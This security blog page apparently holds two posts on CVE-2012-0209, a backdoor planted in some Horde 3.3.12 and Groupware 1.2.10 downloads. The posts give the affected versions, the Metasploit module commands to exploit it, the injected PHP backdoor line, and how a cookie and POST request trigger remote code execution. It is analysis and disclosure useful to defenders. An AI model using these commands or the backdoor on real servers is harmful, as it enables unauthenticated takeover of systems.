Tag Archives: Horde

CVE-2012-0209 Horde 3.3.12 Backdoor Metasploit Demo

Exploits, Metasploit,

Timeline :

Public release of the vulnerability the 2012-02-13
Details of the vulnerability and first PoC disclosed by Eric Romang the 2012-02-15
Metasploit PoC provided the jduck 2012-02-16

PoC provided by :

Eric Romang
jduck

Reference(s) :

CVE-2012-0209

Affected version(s) :

Horde 3.3.12 downloaded between November 15 and February 7
Horde Groupware 1.2.10 downloaded between November 9 and February 7
Horde Groupware Webmail Edition 1.2.10 downloaded between November 2 and February 7

Tested on Ubuntu 11.10 with :

Horde 3.3.12

Description :

This module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.

Commands :

use exploit/multi/http/horde_href_backdoor
set VHOST devnull.zataz.loc
set RHOST 192.168.178.100
set PAYLOAD cmd/unix/generic 
set CMD uname -a
exploit

CVE-2012-0209 Horde backdoor analysis

Reverse Engineering,

The 13/02 Horde team has release a security alert concerning their products. An unknown intruder has hack the FTP server of Horde since minimum November 02 2011 and has manipulate three Horde releases to allow unauthenticated remote PHP execution. The intruder has maintain access to the servers until February 7. The issue is currently tracked through CVE-2012-0209.

The affected releases are:

  • Horde 3.3.12 downloaded between November 15 and February 7
  • Horde Groupware 1.2.10 downloaded between November 9 and February 7
  • Horde Groupware Webmail Edition 1.2.10 downloaded between November 2 and February 7

Horde 4 is not affected, the CVS and Git repositories seem to not be affected, but some Linux distributions how have download the code source from the Horde FTP server are affected. Horde team is providing version 3.3.13 for Horde, 1.2.11 for Horde Groupware and Horde Groupware Webmail Edition to remove the discovered backdoor and has also clean the FTP server.

After some researches, I found two vulnerable Linux distribution how are delivering the backdoored Horde 3.3.12. These distributions are Ubuntu precise, Debian wheezy and sid. Fedora Rawhide doesn’t seem to be impacted unless the distributed version is also 3.3.12, same for OpenSUSE 12.1. Gentoo, Mandriva and Slackware doesn’t seem to deliver this version. The impact through Linux distribution should be not so important. Only users how have download the source code from FTP are mainly affected.

The backdoor is located, for Horde 3.3.12, in the “templates/javascript/open_calendar.js” script.

link.href = '# php (isset($_COOKIE["href"]) && preg_match("/(.*):(.*)/", $_COOKIE["href"], $m))?$m[1]($m[2]):"";?>';

Take a look on the following Pastebin for the diff between a clean and a backdoored 3.3.12 version.

As you can see, if the cookie contain an array named “href” and if the content of the href variable look like to, for example, “shell_exec:’uname -a’“, the PHP function will be executed. Now that we have found the backdoor, how is this backdoor activated ?

All my previous analysis were false, after trying to exploit without success the backdoor, I have finally discover the vulnerable script.

The vulnerable script is “/services/javascript.php“. If you take a look a the script you can see that you need to do a POST request with two variables on the top of the necessary cookie.


$app = Util::getFormData('app', Util::nonInputVar('app'));
$file = Util::getFormData('file', Util::nonInputVar('file'));
if (!empty($app) && !empty($file) && strpos($file, '..') === false) {
$script_file = $registry->get('templates', $app) . '/javascript/' . $file;
if (file_exists($script_file)) {
$registry->pushApp($app, false);
$script = Util::bufferOutput('require', $script_file);
if ($send_headers) {
Horde::compressOutput();
header('Cache-Control: no-cache');
header('Content-Type: text/javascript');
}
echo $script;
}
}

“app” variable is one of the application how is active on the Horde installation, the applications are configured in the “/config/registry.php” file.


$this->applications['horde'] = array(
'fileroot' => dirname(__FILE__) . '/..',
'webroot' => _detect_webroot(),
'initial_page' => 'login.php',
'name' => _("Horde"),
'status' => 'active',
'templates' => dirname(__FILE__) . '/../templates',
'provides' => 'horde',
);

“file” variable should be the backdoored JavaScript file aka “open_calendar.js“. After that you have provide the two variables and the “href” cookie, the backdoor is executed. I have develop a PoC in order to exploit the backdoor. You can find this PoC on my Pastebin.